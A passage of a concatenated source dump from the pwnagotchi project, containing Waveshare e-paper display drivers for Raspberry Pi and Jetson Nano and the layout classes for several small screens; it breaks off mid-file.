self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v29inch/epd2in9.py ================================================ # ***************************************************************************** # * | File : epd2in9.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig # Display resolution EPD_WIDTH = 128 EPD_HEIGHT = 296 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_full_update = [ 0x50, 0xAA, 0x55, 0xAA, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] lut_partial_update = [ 0x10, 0x18, 0x18, 0x08, 0x18, 0x18, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x14, 0x44, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy epdconfig.delay_ms(200) def TurnOnDisplay(self): self.send_command(0x22) # DISPLAY_UPDATE_CONTROL_2 self.send_data(0xC4) self.send_command(0x20) # MASTER_ACTIVATION self.send_command(0xFF) # TERMINATE_FRAME_READ_WRITE logging.debug("e-Paper busy") self.ReadBusy() logging.debug("e-Paper busy release") def SetWindow(self, x_start, y_start, x_end, y_end): self.send_command(0x44) # SET_RAM_X_ADDRESS_START_END_POSITION # x point must be the multiple of 8 or the last 3 bits will be ignored self.send_data((x_start >> 3) & 0xFF) self.send_data((x_end >> 3) & 0xFF) self.send_command(0x45) # SET_RAM_Y_ADDRESS_START_END_POSITION self.send_data(y_start & 0xFF) self.send_data((y_start >> 8) & 0xFF) self.send_data(y_end & 0xFF) self.send_data((y_end >> 8) & 0xFF) def SetCursor(self, x, y): self.send_command(0x4E) # SET_RAM_X_ADDRESS_COUNTER # x point must be the multiple of 8 or the last 3 bits will be ignored self.send_data((x >> 3) & 0xFF) self.send_command(0x4F) # SET_RAM_Y_ADDRESS_COUNTER self.send_data(y & 0xFF) self.send_data((y >> 8) & 0xFF) self.ReadBusy() def init(self, lut): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x01) # DRIVER_OUTPUT_CONTROL self.send_data((EPD_HEIGHT - 1) & 0xFF) self.send_data(((EPD_HEIGHT - 1) >> 8) & 0xFF) self.send_data(0x00) # GD = 0 SM = 0 TB = 0 self.send_command(0x0C) # BOOSTER_SOFT_START_CONTROL self.send_data(0xD7) self.send_data(0xD6) self.send_data(0x9D) self.send_command(0x2C) # WRITE_VCOM_REGISTER self.send_data(0xA8) # VCOM 7C self.send_command(0x3A) # SET_DUMMY_LINE_PERIOD self.send_data(0x1A) # 4 dummy lines per gate self.send_command(0x3B) # SET_GATE_TIME self.send_data(0x08) # 2us per line self.send_command(0x11) # DATA_ENTRY_MODE_SETTING self.send_data(0x03) # X increment Y increment self.send_command(0x32) # WRITE_LUT_REGISTER for i in range(0, len(lut)): self.send_data(lut[i]) # EPD hardware init end return 0 def getbuffer(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def display(self, image): if (image == None): return self.SetWindow(0, 0, self.width - 1, self.height - 1) for j in range(0, self.height): self.SetCursor(0, j) self.send_command(0x24) # WRITE_RAM for i in range(0, int(self.width / 8)): self.send_data(image[i + j * int(self.width / 8)]) self.TurnOnDisplay() def Clear(self, color): self.SetWindow(0, 0, self.width - 1, self.height - 1) for j in range(0, self.height): self.SetCursor(0, j) self.send_command(0x24) # WRITE_RAM for i in range(0, int(self.width / 8)): self.send_data(color) self.TurnOnDisplay() def sleep(self): self.send_command(0x10) # DEEP_SLEEP_MODE self.send_data(0x01) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v29inch/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v3/epd2in13_V3.py ================================================ # ***************************************************************************** # * | File : epd2in13_V3.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V1.1 # * | Date : 2021-10-30 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig import numpy as np # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 logger = logging.getLogger(__name__) class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_partial_update= [ 0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x80,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x40,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x14,0x0,0x0,0x0,0x0,0x0,0x0, 0x1,0x0,0x0,0x0,0x0,0x0,0x0, 0x1,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x22,0x22,0x22,0x22,0x22,0x22,0x0,0x0,0x0, 0x22,0x17,0x41,0x00,0x32,0x36, ] lut_full_update = [ 0x80,0x4A,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x40,0x4A,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x80,0x4A,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x40,0x4A,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0xF,0x0,0x0,0x0,0x0,0x0,0x0, 0xF,0x0,0x0,0xF,0x0,0x0,0x2, 0xF,0x0,0x0,0x0,0x0,0x0,0x0, 0x1,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x0,0x0,0x0,0x0,0x0,0x0,0x0, 0x22,0x22,0x22,0x22,0x22,0x22,0x0,0x0,0x0, 0x22,0x17,0x41,0x0,0x32,0x36, ] ''' function :Hardware reset parameter: ''' def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(20) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(2) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(20) ''' function :send command parameter: command : Command register ''' def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) ''' function :send data parameter: data : Write data ''' def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) ''' function :Wait until the busy_pin goes LOW parameter: ''' def ReadBusy(self): logger.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy epdconfig.delay_ms(10) logger.debug("e-Paper busy release") ''' function : Turn On Display parameter: ''' def TurnOnDisplay(self): self.send_command(0x22) # Display Update Control self.send_data(0xC7) self.send_command(0x20) # Activate Display Update Sequence self.ReadBusy() ''' function : Turn On Display Part parameter: ''' def TurnOnDisplayPart(self): self.send_command(0x22) # Display Update Control self.send_data(0x0f) # fast:0x0c, quality:0x0f, 0xcf self.send_command(0x20) # Activate Display Update Sequence self.ReadBusy() ''' function : Set lut parameter: lut : lut data ''' def Lut(self, lut): self.send_command(0x32) for i in range(0, 153): self.send_data(lut[i]) self.ReadBusy() ''' function : Send lut data and configuration parameter: lut : lut data ''' def SetLut(self, lut): self.Lut(lut) self.send_command(0x3f) self.send_data(lut[153]) self.send_command(0x03) # gate voltage self.send_data(lut[154]) self.send_command(0x04) # source voltage self.send_data(lut[155]) # VSH self.send_data(lut[156]) # VSH2 self.send_data(lut[157]) # VSL self.send_command(0x2c) # VCOM self.send_data(lut[158]) ''' function : Setting the display window parameter: xstart : X-axis starting position ystart : Y-axis starting position xend : End position of X-axis yend : End position of Y-axis ''' def SetWindow(self, x_start, y_start, x_end, y_end): self.send_command(0x44) # SET_RAM_X_ADDRESS_START_END_POSITION # x point must be the multiple of 8 or the last 3 bits will be ignored self.send_data((x_start>>3) & 0xFF) self.send_data((x_end>>3) & 0xFF) self.send_command(0x45) # SET_RAM_Y_ADDRESS_START_END_POSITION self.send_data(y_start & 0xFF) self.send_data((y_start >> 8) & 0xFF) self.send_data(y_end & 0xFF) self.send_data((y_end >> 8) & 0xFF) ''' function : Set Cursor parameter: x : X-axis starting position y : Y-axis starting position ''' def SetCursor(self, x, y): self.send_command(0x4E) # SET_RAM_X_ADDRESS_COUNTER # x point must be the multiple of 8 or the last 3 bits will be ignored self.send_data(x & 0xFF) self.send_command(0x4F) # SET_RAM_Y_ADDRESS_COUNTER self.send_data(y & 0xFF) self.send_data((y >> 8) & 0xFF) ''' function : Initialize the e-Paper register parameter: ''' def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.ReadBusy() self.send_command(0x12) #SWRESET self.ReadBusy() self.send_command(0x01) #Driver output control self.send_data(0xf9) self.send_data(0x00) self.send_data(0x00) self.send_command(0x11) #data entry mode self.send_data(0x03) self.SetWindow(0, 0, self.width-1, self.height-1) self.SetCursor(0, 0) self.send_command(0x3c) self.send_data(0x05) self.send_command(0x21) # Display update control self.send_data(0x00) self.send_data(0x80) self.send_command(0x18) self.send_data(0x80) self.ReadBusy() self.SetLut(self.lut_full_update) return 0 ''' function : Display images parameter: image : Image data ''' def getbuffer(self, image): img = image imwidth, imheight = img.size if(imwidth == self.width and imheight == self.height): img = img.convert('1') elif(imwidth == self.height and imheight == self.width): # image has correct dimensions, but needs to be rotated img = img.rotate(90, expand=True).convert('1') else: logger.warning("Wrong image dimensions: must be " + str(self.width) + "x" + str(self.height)) # return a blank buffer return [0x00] * (int(self.width/8) * self.height) buf = bytearray(img.tobytes('raw')) return buf ''' function : Sends the image buffer in RAM to e-Paper and displays parameter: image : Image data ''' def display(self, image): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.TurnOnDisplay() ''' function : Sends the image buffer in RAM to e-Paper and partial refresh parameter: image : Image data ''' def displayPartial(self, image): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(1) epdconfig.digital_write(self.reset_pin, 1) self.SetLut(self.lut_partial_update) self.send_command(0x37) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x40) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_command(0x3C) #BorderWavefrom self.send_data(0x80) self.send_command(0x22) self.send_data(0xC0) self.send_command(0x20) self.ReadBusy() self.SetWindow(0, 0, self.width - 1, self.height - 1) self.SetCursor(0, 0) self.send_command(0x24) # WRITE_RAM for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.TurnOnDisplayPart() ''' function : Refresh a base image parameter: image : Image data ''' def displayPartBaseImage(self, image): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.send_command(0x26) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.TurnOnDisplay() ''' function : Clear screen parameter: ''' def Clear(self, color): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 # logger.debug(linewidth) self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(color) self.TurnOnDisplay() ''' function : Enter sleep mode parameter: ''' def sleep(self): self.send_command(0x10) #enter deep sleep self.send_data(0x01) epdconfig.delay_ms(2000) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v3/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/oledhat.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class OledHat(DisplayImpl): def __init__(self, config): super(OledHat, self).__init__(config, 'oledhat') self._display = None def layout(self): fonts.setup(8, 8, 8, 10, 10, 8) self._layout['width'] = 128 self._layout['height'] = 64 self._layout['face'] = (0, 30) self._layout['name'] = (0, 10) self._layout['channel'] = (72, 10) self._layout['aps'] = (0, 0) self._layout['uptime'] = (87, 0) self._layout['line1'] = [0, 9, 128, 9] self._layout['line2'] = [0, 54, 128, 54] self._layout['friend_face'] = (0, 41) self._layout['friend_name'] = (40, 43) self._layout['shakes'] = (0, 55) self._layout['mode'] = (107, 10) self._layout['status'] = { 'pos': (37, 19), 'font': fonts.status_font(fonts.Small), 'max': 18 } return self._layout def initialize(self): logging.info("initializing oledhat display") from pwnagotchi.ui.hw.libs.waveshare.oledhat.epd import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): self._display.display(canvas) def clear(self): self._display.clear() ================================================ FILE: pwnagotchi/ui/hw/papirus.py ================================================ import logging import os import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Papirus(DisplayImpl): def __init__(self, config): super(Papirus, self).__init__(config, 'papirus') self._display = None def layout(self): fonts.setup(10, 8, 10, 23, 25, 9) self._layout['width'] = 200 self._layout['height'] = 96 self._layout['face'] = (0, 24) self._layout['name'] = (5, 14) self._layout['channel'] = (0, 0) self._layout['aps'] = (25, 0) self._layout['uptime'] = (135, 0) self._layout['line1'] = [0, 11, 200, 11] self._layout['line2'] = [0, 85, 200, 85] self._layout['friend_face'] = (0, 69) self._layout['friend_name'] = (40, 71) self._layout['shakes'] = (0, 86) self._layout['mode'] = (175, 86) self._layout['status'] = { 'pos': (85, 14), 'font': fonts.status_font(fonts.Medium), 'max': 16 } return self._layout def initialize(self): logging.info("initializing papirus display") from pwnagotchi.ui.hw.libs.papirus.epd import EPD os.environ['EPD_SIZE'] = '2.0' self._display = EPD() self._display.clear() def render(self, canvas): self._display.display(canvas) self._display.partial_update() def clear(self): self._display.clear() ================================================ FILE: pwnagotchi/ui/hw/spotpear24inch.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl import os,time class Spotpear24inch(DisplayImpl): def __init__(self, config): super(Spotpear24inch, self).__init__(config, 'spotpear24inch') self._display = None def layout(self): fonts.setup(12, 10, 12, 70, 25, 9) self._layout['width'] = 320 self._layout['height'] = 240 self._layout['face'] = (35, 50) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (40, 0) self._layout['uptime'] = (240, 0) self._layout['line1'] = [0, 14, 320, 14] self._layout['line2'] = [0, 220, 320, 220] self._layout['friend_face'] = (0, 130) self._layout['friend_name'] = (40, 135) self._layout['shakes'] = (0, 220) self._layout['mode'] = (280, 220) self._layout['status'] = { 'pos': (80, 160), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def refresh(self): time.sleep(0.1) def initialize(self): from pwnagotchi.ui.hw.libs.fb import fb self._display = fb logging.info("initializing spotpear 24inch lcd display") self._display.ready_fb(i=1) self._display.black_scr() def render(self, canvas): self._display.show_img(canvas.rotate(180)) self.refresh() def clear(self): self._display.black_scr() self.refresh() ================================================ FILE: pwnagotchi/ui/hw/waveshare1.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class WaveshareV1(DisplayImpl): def __init__(self, config): super(WaveshareV1, self).__init__(config, 'waveshare_1') self._display = None def layout(self): if self.config['color'] == 'black': fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 